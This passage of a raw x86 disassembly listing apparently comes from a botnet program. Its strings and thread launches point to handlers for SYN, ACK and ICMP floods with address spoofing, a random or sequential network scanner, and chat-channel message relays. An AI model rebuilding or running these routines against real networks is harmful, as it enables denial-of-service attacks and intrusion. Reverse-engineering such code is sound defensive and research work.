push dword ptr [ebp+10h]
push dword ptr [ebp+8]
push dword ptr [ebp+20h]
call sub_41245F
pop ecx
push eax
push edi
push dword ptr [ebp-8]
push dword ptr [ebp-4]
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_40516F
jmp loc_40F7CF
; ---------------------------------------------------------------------------
loc_40CA01: ; CODE XREF: .nsp0:0040C679j
; .nsp0:0040C690j
mov esi, 80h
push edi
lea eax, [ebp-680h]
push esi
push eax
call sub_41246A
lea eax, [ebp-680h]
push eax
push offset aSyn ; "syn"
call sub_412310
add esp, 14h
test eax, eax
jz short loc_40CA64
lea eax, [ebp-680h]
push eax
push offset aAck ; "ack"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz short loc_40CA64
lea eax, [ebp-680h]
push eax
push offset aRandom ; "random"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz short loc_40CA64
push offset dword_42EA54
jmp loc_40EF8A
; ---------------------------------------------------------------------------
loc_40CA64: ; CODE XREF: .nsp0:0040CA2Aj
; .nsp0:0040CA41j ...
push dword ptr [ebp+10h]
call sub_41245F
cmp eax, ebx
pop ecx
mov [ebp-578h], eax
jle loc_40CB8A
push edi
lea eax, [ebp-680h]
push esi
push eax
call sub_41246A
push dword ptr [ebp+20h]
lea eax, [ebp-700h]
push esi
push eax
call sub_41246A
push dword ptr [ebp+8]
call sub_41245F
mov [ebp-57Ch], eax
xor eax, eax
cmp [ebp-9A2h], bl
push dword ptr [ebp-8Ch]
setnz al
mov [ebp-574h], eax
mov eax, [ebp+0Ch]
mov [ebp-704h], eax
lea eax, [ebp-600h]
push esi
push eax
call sub_41246A
mov eax, [ebp-4]
add esp, 28h
cmp [ebp-574h], ebx
mov [ebp-570h], eax
mov eax, [ebp-8]
mov [ebp-56Ch], eax
mov eax, offset aSpoofed ; "Spoofed"
jnz short loc_40CAFB
mov eax, offset aNormal ; "Normal"
loc_40CAFB: ; CODE XREF: .nsp0:0040CAF4j
push dword ptr [ebp+10h]
push dword ptr [ebp+8]
push dword ptr [ebp+20h]
push edi
push eax
push offset dword_42E9FC
lea eax, [ebp-2C8h]
push 200h
push eax
call sub_41246A
push ebx
lea eax, [ebp-2C8h]
push 0Ch
push eax
call sub_41199A
add esp, 2Ch
mov [ebp-580h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-704h]
push ebx
push eax
push offset loc_401BD6
push ebx
push ebx
call dword_41D070 ; CreateThread
mov ecx, [ebp-580h]
imul ecx, 234h
cmp eax, ebx
mov dword_438C6C[ecx], eax
jz short loc_40CB79
loc_40CB63: ; CODE XREF: .nsp0:0040CB77j
cmp [ebp-568h], ebx
jnz loc_40C876
push 32h
call dword_41D05C ; Sleep
jmp short loc_40CB63
; ---------------------------------------------------------------------------
loc_40CB79: ; CODE XREF: .nsp0:0040CB61j
call dword_41D06C ; RtlGetLastWin32Error
push eax
push offset dword_42E9B0
jmp loc_40C867
; ---------------------------------------------------------------------------
loc_40CB8A: ; CODE XREF: .nsp0:0040CA75j
push offset dword_42E964
jmp loc_40EF8A
; ---------------------------------------------------------------------------
loc_40CB94: ; CODE XREF: .nsp0:0040C634j
; .nsp0:0040C64Bj ...
cmp dword_433BB8, ebx
mov esi, [ebp+0Ch]
jnz loc_40CC9C
mov eax, [ebp-8]
push 7Fh
mov [ebp-2ECh], eax
mov eax, [ebp-4]
mov [ebp-2F0h], eax
lea eax, [ebp-384h]
push edi
push eax
call sub_413710
push dword ptr [ebp+20h]
call sub_41245F
push dword ptr [ebp+8]
mov [ebp-304h], eax
call sub_41245F
push dword ptr [ebp+10h]
mov [ebp-300h], eax
call sub_41245F
push 7Fh
mov [ebp-2FCh], eax
push dword ptr [ebp-8Ch]
lea eax, [ebp-404h]
push eax
call sub_413710
push dword ptr [ebp-2FCh]
lea eax, [ebp-384h]
mov [ebp-408h], esi
push dword ptr [ebp-300h]
push eax
lea eax, [ebp-2C8h]
push dword ptr [ebp-304h]
push offset unk_42E908
push eax
call sub_411EEE
push ebx
lea eax, [ebp-2C8h]
push 0Eh
push eax
call sub_41199A
add esp, 48h
mov [ebp-2F4h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-408h]
push ebx
push eax
push offset sub_4080EB
push ebx
push ebx
call dword_41D070 ; CreateThread
mov ecx, [ebp-2F4h]
imul ecx, 234h
cmp eax, ebx
mov dword_438C6C[ecx], eax
jz short loc_40CC8B
loc_40CC79: ; CODE XREF: .nsp0:0040CC89j
cmp [ebp-2E8h], ebx
jnz short loc_40CCB5
push 32h
call dword_41D05C ; Sleep
jmp short loc_40CC79
; ---------------------------------------------------------------------------
loc_40CC8B: ; CODE XREF: .nsp0:0040CC77j
call dword_41D06C ; RtlGetLastWin32Error
push eax
push offset unk_42E8BC
jmp loc_40D845
; ---------------------------------------------------------------------------
loc_40CC9C: ; CODE XREF: .nsp0:0040CB9Dj
push 1FFh
lea eax, [ebp-2C8h]
push offset aIcmp_dllNotAva ; "ICMP.dll not available"
push eax
call sub_413710
loc_40CCB2: ; CODE XREF: .nsp0:0040D851j
add esp, 0Ch
loc_40CCB5: ; CODE XREF: .nsp0:0040CC7Fj
; .nsp0:0040CDC6j ...
cmp [ebp-8], ebx
jnz loc_40C897
push ebx
push dword ptr [ebp-4]
jmp loc_40EE76
; ---------------------------------------------------------------------------
loc_40CCC7: ; CODE XREF: .nsp0:0040C5EFj
; .nsp0:0040C606j ...
mov eax, [ebp-8]
push 7Fh
mov [ebp-2ECh], eax
mov eax, [ebp-4]
mov [ebp-2F0h], eax
lea eax, [ebp-384h]
push edi
push eax
call sub_413710
push dword ptr [ebp+20h]
call sub_41245F
push dword ptr [ebp+8]
mov [ebp-304h], eax
call sub_41245F
push dword ptr [ebp+10h]
mov [ebp-300h], eax
call sub_41245F
mov esi, [ebp+esi-80h]
add esp, 18h
cmp esi, ebx
mov [ebp-2FCh], eax
jz short loc_40CD2C
push esi
call sub_41245F
pop ecx
mov [ebp-2F8h], eax
jmp short loc_40CD32
; ---------------------------------------------------------------------------
loc_40CD2C: ; CODE XREF: .nsp0:0040CD1Bj
mov [ebp-2F8h], ebx
loc_40CD32: ; CODE XREF: .nsp0:0040CD2Aj
push 7Fh
lea eax, [ebp-404h]
push dword ptr [ebp-8Ch]
push eax
call sub_413710
push dword ptr [ebp-2FCh]
mov esi, [ebp+0Ch]
lea eax, [ebp-384h]
mov [ebp-408h], esi
push dword ptr [ebp-300h]
push eax
lea eax, [ebp-2C8h]
push dword ptr [ebp-304h]
push offset dword_42E848
push eax
call sub_411EEE
push ebx
lea eax, [ebp-2C8h]
push 0Fh
push eax
call sub_41199A
add esp, 30h
mov [ebp-2F4h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-408h]
push ebx
push eax
push offset loc_408277
push ebx
push ebx
call dword_41D070 ; CreateThread
mov ecx, [ebp-2F4h]
imul ecx, 234h
cmp eax, ebx
mov dword_438C6C[ecx], eax
jz short loc_40CDD6
loc_40CDC0: ; CODE XREF: .nsp0:0040CDD4j
cmp [ebp-2E8h], ebx
jnz loc_40CCB5
push 32h
call dword_41D05C ; Sleep
jmp short loc_40CDC0
; ---------------------------------------------------------------------------
loc_40CDD6: ; CODE XREF: .nsp0:0040CDBEj
call dword_41D06C ; RtlGetLastWin32Error
push eax
push offset dword_42E7FC
jmp loc_40D845
; ---------------------------------------------------------------------------
loc_40CDE7: ; CODE XREF: .nsp0:0040C5C1j
; .nsp0:0040C5D8j
push 8
call sub_411BE2
push dword ptr [ebp+20h]
mov [ebp+18h], eax
call sub_41245F
add eax, [ebp+18h]
pop ecx
pop ecx
cmp eax, 12Ch
jle short loc_40CE3A
push dword ptr [ebp+18h]
lea eax, [ebp-2C8h]
push offset dword_42E7A8
push eax
call sub_411EEE
push ebx
lea eax, [ebp-2C8h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_40F9F1
loc_40CE32: ; CODE XREF: .nsp0:0040E263j
add esp, 20h
jmp loc_40F7D2
; ---------------------------------------------------------------------------
loc_40CE3A: ; CODE XREF: .nsp0:0040CE03j
push edi
call sub_41245F
push dword ptr [ebp+20h]
mov [ebp-31Ch], eax
call sub_41245F
push dword ptr [ebp+8]
mov [ebp-304h], eax
call sub_41245F
add esp, 0Ch
cmp eax, 1
mov [ebp-318h], eax
jnb short loc_40CE73
push 1
pop eax
mov [ebp-318h], eax
loc_40CE73: ; CODE XREF: .nsp0:0040CE68j
push 3Ch
pop ecx
cmp eax, ecx
jbe short loc_40CE80
mov [ebp-318h], ecx
loc_40CE80: ; CODE XREF: .nsp0:0040CE78j
push dword ptr [ebp+10h]
call sub_41245F
cmp eax, 1F4h
pop ecx
mov [ebp-314h], eax
jbe short loc_40CEA0
mov dword ptr [ebp-314h], 1F4h
loc_40CEA0: ; CODE XREF: .nsp0:0040CE94j
or dword ptr [ebp-300h], 0FFFFFFFFh
cmp dword_422880, ebx
mov [ebp+10h], ebx
jz short loc_40CEF6
mov dword ptr [ebp+2Ch], offset dword_422880
loc_40CEB9: ; CODE XREF: .nsp0:0040CED8j
mov eax, [ebp+2Ch]
push edi
add eax, 0FFFFFFD8h
push eax
call sub_412310
pop ecx
test eax, eax
pop ecx
jz short loc_40CEDC
add dword ptr [ebp+2Ch], 3Ch
inc dword ptr [ebp+10h]
mov eax, [ebp+2Ch]
cmp [eax], ebx
jnz short loc_40CEB9
jmp short loc_40CEF6
; ---------------------------------------------------------------------------
loc_40CEDC: ; CODE XREF: .nsp0:0040CECAj
mov eax, [ebp+10h]
mov ecx, eax
mov [ebp-300h], eax
imul ecx, 3Ch
mov ecx, dword_422880[ecx]
mov [ebp-31Ch], ecx
loc_40CEF6: ; CODE XREF: .nsp0:0040CEB0j
; .nsp0:0040CEDAj
cmp [ebp-31Ch], ebx
jz loc_40EB99
mov edi, [ebp+esi-80h]
cmp edi, ebx
mov [ebp+20h], edi
jz short loc_40CF3D
cmp byte ptr [edi], 23h
jz short loc_40CF3D
push edi
lea eax, [ebp-430h]
push 10h
push eax
call sub_41246A
push 78h
push edi
call sub_414140
add esp, 14h
neg eax
sbb eax, eax
neg eax
mov [ebp-2F0h], eax
jmp loc_40D011
; ---------------------------------------------------------------------------
loc_40CF3D: ; CODE XREF: .nsp0:0040CF0Bj
; .nsp0:0040CF10j
cmp [ebp-9B3h], bl
jnz short loc_40CF5F
cmp [ebp-9B2h], bl
jnz short loc_40CF5F
cmp [ebp-9A2h], bl
jnz short loc_40CF5F
push offset dword_42E75C
jmp loc_40EF8A
; ---------------------------------------------------------------------------
loc_40CF5F: ; CODE XREF: .nsp0:0040CF43j
; .nsp0:0040CF4Bj ...
push 10h
lea eax, [ebp+8]
pop edi
push eax
lea eax, [ebp-2D8h]
push eax
mov [ebp+8], edi
push dword ptr [ebp+0Ch]
call dword_433A6C ; getsockname
mov al, [ebp-9B3h]
push edi
neg al
sbb eax, eax
and ax, 100h
add eax, 0FFFFh
and [ebp-2D4h], eax
push dword ptr [ebp-2D4h]
call dword_433B54 ; inet_ntoa
push eax
lea eax, [ebp-430h]
push eax
call sub_413710
add esp, 0Ch
cmp [ebp-9A2h], bl
jz short loc_40D00B
xor eax, eax
cmp [ebp-9B3h], bl
push 30h
setnz al
inc eax
inc eax
mov edi, eax
lea eax, [ebp-430h]
push eax
call sub_413A10
pop ecx
cmp edi, ebx
pop ecx
mov [ebp+2Fh], bl
jle short loc_40CFFF
loc_40CFDD: ; CODE XREF: .nsp0:0040CFFDj
cmp eax, ebx
jz short loc_40CFFF
mov byte ptr [eax], 78h
lea eax, [ebp-430h]
push 30h
push eax
call sub_413A10
inc byte ptr [ebp+2Fh]
pop ecx
pop ecx
movsx ecx, byte ptr [ebp+2Fh]
cmp ecx, edi
jl short loc_40CFDD
loc_40CFFF: ; CODE XREF: .nsp0:0040CFDBj
; .nsp0:0040CFDFj
mov dword ptr [ebp-2F0h], 1
jmp short loc_40D011
; ---------------------------------------------------------------------------
loc_40D00B: ; CODE XREF: .nsp0:0040CFB5j
mov [ebp-2F0h], ebx
loc_40D011: ; CODE XREF: .nsp0:0040CF38j
; .nsp0:0040D009j
mov eax, [ebp+0Ch]
push dword ptr [ebp-8Ch]
mov [ebp-320h], eax
mov eax, [ebp-4]
mov [ebp-2F8h], eax
mov eax, [ebp-8]
mov [ebp-2F4h], eax
mov edi, 80h
lea eax, [ebp-420h]
push edi
push eax
call sub_41246A
mov esi, [ebp+esi-7Ch]
add esp, 0Ch
cmp esi, ebx
jz short loc_40D062
loc_40D04F: ; CODE XREF: .nsp0:0040D085j
push esi
loc_40D050: ; CODE XREF: .nsp0:0040D06Fj
lea eax, [ebp-3A0h]
push edi
push eax
call sub_41246A
add esp, 0Ch
jmp short loc_40D08D
; ---------------------------------------------------------------------------
loc_40D062: ; CODE XREF: .nsp0:0040D04Dj
mov eax, [ebp+20h]
cmp eax, ebx
jz short loc_40D071
cmp byte ptr [eax], 23h
jnz short loc_40D071
push eax
jmp short loc_40D050
; ---------------------------------------------------------------------------
loc_40D071: ; CODE XREF: .nsp0:0040D067j
; .nsp0:0040D06Cj
mov esi, offset dword_425C00
push offset byte_432708
push esi
call sub_412310
pop ecx
test eax, eax
pop ecx
jnz short loc_40D04F
mov [ebp-3A0h], bl
loc_40D08D: ; CODE XREF: .nsp0:0040D060j
cmp [ebp-2F0h], ebx
mov eax, offset aRandom_0 ; "Random"
jnz short loc_40D09F
mov eax, offset aSequential ; "Sequential"
loc_40D09F: ; CODE XREF: .nsp0:0040D098j
push dword ptr [ebp-304h]
lea ecx, [ebp-430h]
push dword ptr [ebp-314h]
push dword ptr [ebp-318h]
push dword ptr [ebp-31Ch]
push ecx
push eax
lea eax, [ebp-2C8h]
push offset dword_42E6D0
push eax
call sub_411EEE
push ebx
lea eax, [ebp-2C8h]
push 8
push eax
call sub_41199A
add esp, 2Ch
mov [ebp-310h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-430h]
push ebx
push eax
push offset sub_405FF1
push ebx
push ebx
call dword_41D070 ; CreateThread
mov ecx, [ebp-310h]
imul ecx, 234h
cmp eax, ebx
mov dword_438C6C[ecx], eax
jz short loc_40D12D
loc_40D117: ; CODE XREF: .nsp0:0040D12Bj
cmp [ebp-2ECh], ebx
jnz loc_40C876
push 32h
call dword_41D05C ; Sleep
jmp short loc_40D117
; ---------------------------------------------------------------------------
loc_40D12D: ; CODE XREF: .nsp0:0040D115j
call dword_41D06C ; RtlGetLastWin32Error
push eax
push offset dword_42E684
jmp loc_40C867
; ---------------------------------------------------------------------------
loc_40D13E: ; CODE XREF: .nsp0:0040C581j
; .nsp0:0040C598j
push edi
call sub_41245F
imul eax, 234h
pop ecx
cmp byte_438C70[eax], bl
jz loc_40F7D2
cmp [ebp-0Ch], ebx
jz loc_40F7D2
push dword ptr [ebp+20h]
call sub_4126F0
push edi
mov esi, eax
call sub_4126F0
push dword ptr [ebp+18h]
add esi, eax
call sub_4126F0
add eax, [ebp-0Ch]
push dword ptr [ebp+8]
lea eax, [eax+esi+2]
push eax
call sub_4124C0
mov esi, eax
lea eax, [ebp-2C8h]
push esi
push offset dword_42E678
push eax
call sub_411EEE
add esp, 20h
cmp esi, ebx
jz loc_40F7D2
push edi
call sub_41245F
test eax, eax
pop ecx
jle loc_40F7D2
push edi
call sub_41245F
cmp eax, 12Ch
pop ecx
jge loc_40F7D2
push ebx
lea eax, [ebp-2C8h]
push ebx
push eax
push dword ptr [ebp+20h]
push edi
call sub_41245F
imul eax, 234h
pop ecx
push dword_438C64[eax]
call sub_40F9F1
push edi
call sub_41245F
imul eax, 234h
add esp, 18h
cmp byte ptr dword_438A58[eax], 73h
jnz loc_40F7D2
push esi
push edi
call sub_41245F
imul eax, 234h
pop ecx
add eax, offset byte_438C70
push eax
push dword ptr [ebp+20h]
push offset aSSS_1 ; "[%s] * %s %s"
loc_40D226: ; CODE XREF: .nsp0:0040D323j
lea eax, [ebp-2C8h]
push eax
call sub_411EEE
push ebx
lea eax, [ebp-2C8h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_40F9F1
loc_40D24B: ; CODE XREF: .nsp0:0040F052j
add esp, 28h
jmp loc_40F7D2
; ---------------------------------------------------------------------------
loc_40D253: ; CODE XREF: .nsp0:0040C553j
; .nsp0:0040C56Aj
push edi
call sub_41245F
imul eax, 234h
pop ecx
cmp byte_438C70[eax], bl
jz loc_40F7D2
cmp [ebp-0Ch], ebx
jz loc_40F7D2
push dword ptr [ebp+20h]
call sub_4126F0
push edi
mov esi, eax
call sub_4126F0
push dword ptr [ebp+18h]
add esi, eax
call sub_4126F0
add eax, [ebp-0Ch]
push dword ptr [ebp+8]
lea eax, [eax+esi+2]
push eax
call sub_4124C0
mov esi, eax
add esp, 14h
cmp esi, ebx
jz loc_40F7D2
push edi
call sub_41245F
test eax, eax
pop ecx
jle loc_40F7D2
push edi
call sub_41245F
cmp eax, 12Ch
pop ecx
jge loc_40F7D2
push ebx
push ebx
push esi
push dword ptr [ebp+20h]
push edi
call sub_41245F
imul eax, 234h
pop ecx
push dword_438C64[eax]
call sub_40F9F1
push edi
call sub_41245F
imul eax, 234h
add esp, 18h
cmp byte ptr dword_438A58[eax], 73h
jnz loc_40F7D2
push esi
push edi
call sub_41245F
imul eax, 234h
pop ecx
add eax, offset byte_438C70
push eax
push dword ptr [ebp+20h]
push offset aSSS_0 ; "[%s] <%s> %s"
jmp loc_40D226
; ---------------------------------------------------------------------------
loc_40D328: ; CODE XREF: .nsp0:0040C525j
; .nsp0:0040C53Cj
push edi
call dword_433B08 ; inet_addr
push dword ptr [ebp+20h]
mov [ebp-460h], eax
call sub_41245F
push dword ptr [ebp+8]
mov [ebp-46Ch], eax
call sub_41245F
mov esi, [ebp+0Ch]
push 7Fh
push dword ptr [ebp-8Ch]
mov [ebp-468h], eax
lea eax, [ebp-4ECh]
mov [ebp-4F0h], esi
push eax
call sub_413710
add esp, 14h
mov edi, [ebp-4]
mov eax, [ebp-8]
mov [ebp-458h], edi
push dword ptr [ebp-468h]
mov [ebp-454h], eax
push dword ptr [ebp-46Ch]
push dword ptr [ebp-460h]
call dword_433B54 ; inet_ntoa
push eax
lea eax, [ebp-2C8h]
push offset unk_42E608
push eax
call sub_411EEE
push ebx
lea eax, [ebp-2C8h]
push 8
push eax
call sub_41199A
add esp, 20h
mov [ebp-464h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-4F0h]
push ebx
push eax
push offset sub_41120E
push ebx
push ebx
call dword_41D070 ; CreateThread
mov ecx, [ebp-464h]
imul ecx, 234h
cmp eax, ebx
mov dword_438C6C[ecx], eax
jz short loc_40D40A
loc_40D3F4: ; CODE XREF: .nsp0:0040D408j
cmp [ebp-450h], ebx
jnz loc_40EE6B
push 32h
call dword_41D05C ; Sleep
jmp short loc_40D3F4
; ---------------------------------------------------------------------------
loc_40D40A: ; CODE XREF: .nsp0:0040D3F2j
call dword_41D06C ; RtlGetLastWin32Error
push eax
push offset unk_42E5B8
jmp loc_40EE5C
; ---------------------------------------------------------------------------
loc_40D41B: ; CODE XREF: .nsp0:0040C4F7j
; .nsp0:0040C50Ej
push edi
call sub_41245F
push 7Fh
mov [ebp-300h], eax
push dword ptr [ebp+20h]
lea eax, [ebp-404h]
push eax
call sub_413710
push dword ptr [ebp+8]
call sub_41245F
push dword ptr [ebp-8Ch]
mov esi, [ebp+0Ch]
mov [ebp-304h], eax
lea eax, [ebp-384h]
push 80h
push eax
mov [ebp-40Ch], esi
call sub_41246A
mov eax, [ebp-8]
add esp, 20h
mov edi, [ebp-4]
mov [ebp-2F0h], eax
push dword ptr [ebp-304h]
lea eax, [ebp-404h]
mov [ebp-2F4h], edi
push eax
push dword ptr [ebp-300h]
push esi
call sub_408045
pop ecx
push eax
lea eax, [ebp-2C8h]
push offset unk_42E568
push eax
call sub_411EEE
push ebx
lea eax, [ebp-2C8h]
push 10h
push eax
call sub_41199A
add esp, 24h
mov [ebp-2FCh], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-40Ch]
push ebx
push eax
push offset sub_406250
push ebx
push ebx
call dword_41D070 ; CreateThread
mov ecx, [ebp-2FCh]
imul ecx, 234h
cmp eax, ebx
mov dword_438C6C[ecx], eax
jz short loc_40D504
loc_40D4EE: ; CODE XREF: .nsp0:0040D502j
cmp [ebp-2ECh], ebx
jnz loc_40EE6B
push 32h
call dword_41D05C ; Sleep
jmp short loc_40D4EE
; ---------------------------------------------------------------------------
loc_40D504: ; CODE XREF: .nsp0:0040D4ECj
call dword_41D06C ; RtlGetLastWin32Error
push eax
push offset unk_42E514
jmp loc_40EE5C
; ---------------------------------------------------------------------------
loc_40D515: ; CODE XREF: .nsp0:0040C4C9j
; .nsp0:0040C4E0j
push 0FFh
lea eax, [ebp-788h]
push edi
push eax
call sub_413710
push 0FFh
lea eax, [ebp-688h]
push dword ptr [ebp+20h]
push eax
call sub_413710
push dword ptr [ebp+8]
mov [ebp-584h], ebx
call sub_41245F
mov [ebp-580h], eax
mov eax, [ebp+esi-84h]
add esp, 1Ch
cmp eax, ebx
jz short loc_40D571
push 10h
push ebx
push eax
call sub_413459
add esp, 0Ch
mov [ebp-578h], eax
jmp short loc_40D577
; ---------------------------------------------------------------------------
loc_40D571: ; CODE XREF: .nsp0:0040D55Bj
mov [ebp-578h], ebx
loc_40D577: ; CODE XREF: .nsp0:0040D56Fj
mov esi, [ebp+esi-80h]
cmp esi, ebx
jz short loc_40D58E
push esi
call sub_41245F
pop ecx
mov [ebp-57Ch], eax
jmp short loc_40D594
; ---------------------------------------------------------------------------
loc_40D58E: ; CODE XREF: .nsp0:0040D57Dj
mov [ebp-57Ch], ebx
loc_40D594: ; CODE XREF: .nsp0:0040D58Cj
movzx eax, byte ptr [ebp-9AFh]
mov esi, [ebp+0Ch]
push 7Fh
push dword ptr [ebp-8Ch]
mov [ebp-574h], eax
lea eax, [ebp-808h]
mov [ebp-80Ch], esi
push eax
call sub_413710
mov eax, [ebp-4]
push dword ptr [ebp+20h]
mov [ebp-56Ch], eax
mov eax, [ebp-8]
mov [ebp-570h], eax
push edi
lea eax, [ebp-2C8h]
push offset unk_42E4D4
push eax
call sub_411EEE
push esi
lea eax, [ebp-2C8h]
push 15h
push eax
call sub_41199A
add esp, 28h
mov [ebp-588h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-80Ch]
push ebx
push eax
push offset loc_40915B
push ebx
push ebx
call dword_41D070 ; CreateThread
mov ecx, [ebp-588h]
imul ecx, 234h
cmp eax, ebx
mov dword_438C6C[ecx], eax
jz short loc_40D642
loc_40D62C: ; CODE XREF: .nsp0:0040D640j
cmp [ebp-568h], ebx
jnz loc_40CCB5
push 32h
call dword_41D05C ; Sleep
jmp short loc_40D62C
; ---------------------------------------------------------------------------
loc_40D642: ; CODE XREF: .nsp0:0040D62Aj
call dword_41D06C ; RtlGetLastWin32Error
push eax
push offset unk_42E480
jmp loc_40D845
; ---------------------------------------------------------------------------
loc_40D653: ; CODE XREF: .nsp0:0040C49Bj
; .nsp0:0040C4B2j
push 7Fh
lea eax, [ebp-774h]
pop esi
push esi
push edi
push eax
call sub_413710
push esi
lea eax, [ebp-6F4h]
push dword ptr [ebp+20h]
push eax
call sub_413710
push esi
lea eax, [ebp-674h]
push dword ptr [ebp+8]
push eax
call sub_413710
push esi
lea eax, [ebp-5F4h]
push dword ptr [ebp-8Ch]
push eax
call sub_413710
mov eax, [ebp-8]
push dword ptr [ebp+8]
mov esi, [ebp-4]
mov [ebp-56Ch], eax
mov eax, [ebp+0Ch]
push dword ptr [ebp+20h]
mov [ebp-778h], eax
lea eax, [ebp-2C8h]
push edi
push offset dword_42E440
push eax
mov [ebp-570h], esi
call sub_411EEE
add esp, 44h
lea eax, [ebp-2C8h]
push ebx
push 0Bh
push eax
call sub_41199A
add esp, 0Ch
mov [ebp-574h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-778h]
push ebx
push eax
push offset sub_40182E
push ebx
push ebx
call dword_41D070 ; CreateThread
mov ecx, [ebp-574h]
imul ecx, 234h
cmp eax, ebx
mov dword_438C6C[ecx], eax
jz short loc_40D726
loc_40D714: ; CODE XREF: .nsp0:0040D724j
cmp [ebp-568h], ebx
jnz short loc_40D741
push 32h
call dword_41D05C ; Sleep
jmp short loc_40D714
; ---------------------------------------------------------------------------
loc_40D726: ; CODE XREF: .nsp0:0040D712j
call dword_41D06C ; RtlGetLastWin32Error
push eax
lea eax, [ebp-2C8h]
push offset dword_42E3F4
push eax
call sub_411EEE
add esp, 0Ch
loc_40D741: ; CODE XREF: .nsp0:0040D71Aj
cmp [ebp-8], ebx
jnz loc_40C897
push ebx
push esi
jmp loc_40C87F
; ---------------------------------------------------------------------------
loc_40D751: ; CODE XREF: .nsp0:0040C456j
; .nsp0:0040C46Dj ...
push 7Fh
lea eax, [ebp-7F0h]
pop esi
push esi
push edi
push eax
call sub_413710
push esi
lea eax, [ebp-770h]
push dword ptr [ebp+20h]
push eax
call sub_413710
push esi
lea eax, [ebp-6F0h]
push dword ptr [ebp+8]
push eax
call sub_413710
push esi
lea eax, [ebp-670h]
push dword ptr [ebp-8Ch]
push eax
call sub_413710
push 20h
lea eax, [ebp-5F0h]
push dword ptr [ebp+18h]
push eax
call sub_413710
mov eax, [ebp-4]
push dword ptr [ebp+8]
mov esi, [ebp+0Ch]
mov [ebp-570h], eax
mov eax, [ebp-8]
push dword ptr [ebp+20h]
mov [ebp-56Ch], eax
lea eax, [ebp-2C8h]
push edi
push offset unk_42E3B0
push eax
mov [ebp-7F8h], esi
call sub_411EEE
add esp, 50h
lea eax, [ebp-2C8h]
push ebx
push 0Ah
push eax
call sub_41199A
add esp, 0Ch
mov [ebp-7F4h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-7F8h]
push ebx
push eax
push offset sub_401000
push ebx
push ebx
call dword_41D070 ; CreateThread
mov ecx, [ebp-7F4h]
imul ecx, 234h
cmp eax, ebx
mov dword_438C6C[ecx], eax
jz short loc_40D839
loc_40D823: ; CODE XREF: .nsp0:0040D837j
cmp [ebp-568h], ebx
jnz loc_40CCB5
push 32h
call dword_41D05C ; Sleep
jmp short loc_40D823
; ---------------------------------------------------------------------------
loc_40D839: ; CODE XREF: .nsp0:0040D821j
call dword_41D06C ; RtlGetLastWin32Error
push eax
push offset unk_42E364
loc_40D845: ; CODE XREF: .nsp0:0040CC97j
; .nsp0:0040CDE2j ...
lea eax, [ebp-2C8h]
push eax
call sub_411EEE
jmp loc_40CCB2
; ---------------------------------------------------------------------------
loc_40D856: ; CODE XREF: .nsp0:0040C428j
; .nsp0:0040C43Fj
push 7Fh
lea eax, [ebp-444h]
push edi
push eax
call sub_413710
push dword ptr [ebp+20h]
call sub_41245F
push 3Fh
mov [ebp-2F4h], eax
push dword ptr [ebp+8]
lea eax, [ebp-3C4h]
push eax
call sub_413710
mov esi, [ebp+esi-84h]
add esp, 1Ch
cmp esi, ebx
jz short loc_40D8A4
push 3Fh
lea eax, [ebp-384h]
push esi
push eax
call sub_413710
add esp, 0Ch
loc_40D8A4: ; CODE XREF: .nsp0:0040D890j
lea eax, [ebp-3C4h]
mov dword ptr [ebp-2F0h], 1
push eax
lea eax, [ebp-444h]
push dword ptr [ebp-2F4h]
push eax
lea eax, [ebp-2C8h]
push offset unk_42E320
push eax
call sub_411EEE
push ebx
lea eax, [ebp-2C8h]
push 17h
push eax
call sub_41199A
add esp, 20h
mov [ebp-2ECh], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-448h]
push ebx
push eax
push offset sub_40A059
push ebx
push ebx
call dword_41D070 ; CreateThread
mov ecx, [ebp-2ECh]
imul ecx, 234h
cmp eax, ebx
mov dword_438C6C[ecx], eax
jz short loc_40D930
loc_40D91A: ; CODE XREF: .nsp0:0040D92Ej
cmp [ebp-2E8h], ebx
jnz loc_40E5D4
push 32h
call dword_41D05C ; Sleep
jmp short loc_40D91A
; ---------------------------------------------------------------------------
loc_40D930: ; CODE XREF: .nsp0:0040D918j
call dword_41D06C ; RtlGetLastWin32Error
push eax
push offset unk_42E2D4
jmp loc_40DF0A
; ---------------------------------------------------------------------------
loc_40D941: ; CODE XREF: .nsp0:0040C3E8j
; .nsp0:0040C3FFj
push dword ptr [ebp+20h]
call sub_41245F
cmp eax, ebx
pop ecx
mov [ebp-578h], eax
jle loc_40DA32
mov esi, 80h
push edi
lea eax, [ebp-700h]
push esi
push eax
call sub_41246A
xor eax, eax
cmp [ebp-9A2h], bl
push dword ptr [ebp-8Ch]
setnz al
mov [ebp-574h], eax
mov eax, [ebp+0Ch]
mov [ebp-704h], eax
lea eax, [ebp-600h]
push esi
push eax
call sub_41246A
mov eax, [ebp-4]
push dword ptr [ebp+20h]
mov [ebp-570h], eax
mov eax, [ebp-8]
mov [ebp-56Ch], eax
push edi
push offset unk_42E294
lea eax, [ebp-2C8h]
push 200h
push eax
call sub_41246A
push ebx
lea eax, [ebp-2C8h]
push 0Dh
push eax
call sub_41199A
add esp, 38h
mov [ebp-580h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-704h]
push ebx
push eax
push offset loc_401447
push ebx
push ebx
call dword_41D070 ; CreateThread
mov ecx, [ebp-580h]
imul ecx, 234h
cmp eax, ebx
mov dword_438C6C[ecx], eax
jz short loc_40DA21
loc_40DA0B: ; CODE XREF: .nsp0:0040DA1Fj
cmp [ebp-568h], ebx
jnz loc_40C876
push 32h
call dword_41D05C ; Sleep
jmp short loc_40DA0B
; ---------------------------------------------------------------------------
loc_40DA21: ; CODE XREF: .nsp0:0040DA09j
call dword_41D06C ; RtlGetLastWin32Error
push eax
